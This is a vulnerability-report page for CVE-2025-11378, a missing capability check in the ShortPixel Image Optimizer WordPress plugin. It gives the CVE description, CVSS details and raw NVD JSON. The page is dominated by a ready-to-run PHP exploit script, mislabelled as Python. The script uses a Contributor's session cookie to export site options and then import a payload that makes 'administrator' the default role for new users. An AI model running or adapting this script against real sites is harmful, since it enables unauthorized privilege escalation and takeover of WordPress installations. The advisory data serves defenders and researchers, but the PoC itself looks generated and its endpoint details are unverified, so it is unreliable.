Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-11378 CVSS 5.4 MEDIUM

CVE-2025-11378

Published: 2025-10-18 04:16:06
Last Modified: 2026-04-15 00:35:42

Description

The ShortPixel Image Optimizer – Optimize Images, Convert WebP & AVIF plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'shortpixel_ajaxRequest' AJAX action in all versions up to, and including, 6.3.4. This makes it possible for authenticated attackers, with Contributor-level access and above, to export and import site options.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ShortPixel Image Optimizer <= 6.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-11378 PoC - ShortPixel Image Optimizer Missing Capability Check * Description: Exploits missing capability check on 'shortpixel_ajaxRequest' AJAX action * to export/import site options as authenticated Contributor-level user. * * Usage: php exploit.php <target_url> <wordpress_cookie> */ $target = $argv[1] ?? 'http://target-wordpress-site.com'; $cookie = $argv[2] ?? ''; if (empty($cookie)) { die("Usage: php exploit.php <target_url> <wordpress_cookie>\n"); } // Step 1: Export site options via vulnerable AJAX endpoint $export_url = $target . '/wp-admin/admin-ajax.php'; $export_payload = http_build_query([ 'action' => 'shortpixel_ajaxRequest', 'subaction' => 'export-settings', // Trigger export of site options ]); $ch = curl_init($export_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $export_payload); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Cookie: ' . $cookie, 'X-Requested-With: XMLHttpRequest', ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "[+] Export Response:\n" . $response . "\n\n"; // Step 2: Import malicious site options (e.g., change default role to administrator) $malicious_options = [ 'default_role' => 'administrator', // Escalate privileges ]; $import_payload = http_build_query([ 'action' => 'shortpixel_ajaxRequest', 'subaction' => 'import-settings', // Trigger import of site options 'data' => base64_encode(serialize($malicious_options)), ]); $ch = curl_init($export_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $import_payload); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Cookie: ' . $cookie, 'X-Requested-With: XMLHttpRequest', ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "[+] Import Response:\n" . $response . "\n"; echo "[!] Site options modified successfully.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11378", "sourceIdentifier": "[email protected]", "published": "2025-10-18T04:16:05.933", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ShortPixel Image Optimizer – Optimize Images, Convert WebP & AVIF plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'shortpixel_ajaxRequest' AJAX action in all versions up to, and including, 6.3.4. This makes it possible for authenticated attackers, with Contributor-level access and above, to export and import site options."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/short-pixel-optimizer/shortpixel-image-optimiser/commit/74263060acafbaf63b4a34f339a8b0dc35f2cad9", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3379473%40shortpixel-image-optimiser&new=3379473%40shortpixel-image-optimiser&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/CVE-2025-11378", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1f7e9eb5-e222-43fa-a14f-b9cbced6b8f5?source=cve", "source": "[email protected]"}]}}